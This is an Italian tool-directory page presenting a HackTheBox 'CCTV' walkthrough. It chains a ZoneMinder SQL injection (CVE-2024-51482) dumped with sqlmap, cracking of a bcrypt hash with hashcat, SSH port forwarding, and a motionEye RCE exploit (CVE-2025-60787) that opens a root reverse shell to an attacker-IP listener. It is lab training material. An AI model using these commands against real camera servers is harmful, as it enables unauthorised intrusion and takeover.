Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cctv — HackTheBox CCTV walkthrough che concatena CVE-2024-51482 SQL injection su ZoneMinder, cracking dell'hash bcrypt e CVE-2025-60787 RCE su motionEye per ottenere root. | Kitploit
Strumenti/GitHubGitHub/ledksv/cctv
Password CrackingEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubledksv/cctv

cctv

HackTheBox CCTV walkthrough che concatena CVE-2024-51482 SQL injection su ZoneMinder, cracking dell'hash bcrypt e CVE-2025-60787 RCE su motionEye per ottenere root.

10h 51m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CCTV — HackTheBox Walkthrough

Piattaforma: HackTheBox | OS: Linux

Catena di attacco

Un'SQL injection in ZoneMinder tramite CVE-2024-51482 estrae un hash bcrypt dal database. Cracking con hashcat fornisce l'accesso SSH. Un'istanza interna di motionEye esposta tramite port forwarding è vulnerabile a CVE-2025-60787 — fornisce una shell root.

Enumerazione

root@kitploit:~
nmap -sV -sC 10.129.53.160 -Pn

22/tcp open  ssh     OpenSSH 9.6p1 (Ubuntu)
80/tcp open  http    Apache 2.4.58 — SecureVision CCTV & Security Solutions

Aggiunto cctv.htb a /etc/hosts. La porta 80 ospitava un'installazione di ZoneMinder.

CVE-2024-51482 — SQL Injection in ZoneMinder

CVE-2024-51482 è una vulnerabilità di SQL injection nell'endpoint di login di ZoneMinder. Il parametro username non è sanificato, consentendo l'estrazione dal database.

root@kitploit:~
sqlmap -u "http://cctv.htb/zm/index.php" \
  --data="username=admin&password=admin&action=login" \
  --dbms=mysql --dump --batch

Estratto un hash di password bcrypt dalla tabella users.

Cracking dell'hash

root@kitploit:~
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Password crackata.

Foothold SSH

root@kitploit:~
ssh <user>@10.129.53.160

User flag recuperata. Verificati i servizi interni.

root@kitploit:~
ss -tlnp
# 127.0.0.1:8765 — motionEye CCTV management panel

Effettuato il port forwarding.

root@kitploit:~
ssh -L 8765:127.0.0.1:8765 <user>@10.129.53.160

CVE-2025-60787 — RCE in motionEye

CVE-2025-60787 è una RCE autenticata in motionEye. Con l'accesso al pannello interno, comandi arbitrari vengono eseguiti come root.

root@kitploit:~
nc -lvnp 4444
python3 exploit_CVE-2025-60787.py --url http://127.0.0.1:8765 --lhost <ATTACKER_IP> --lport 4444

Shell root ottenuta. Root flag in /root/root.txt.


Solo a scopo educativo. Testare esclusivamente sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione.

Scarica lo strumento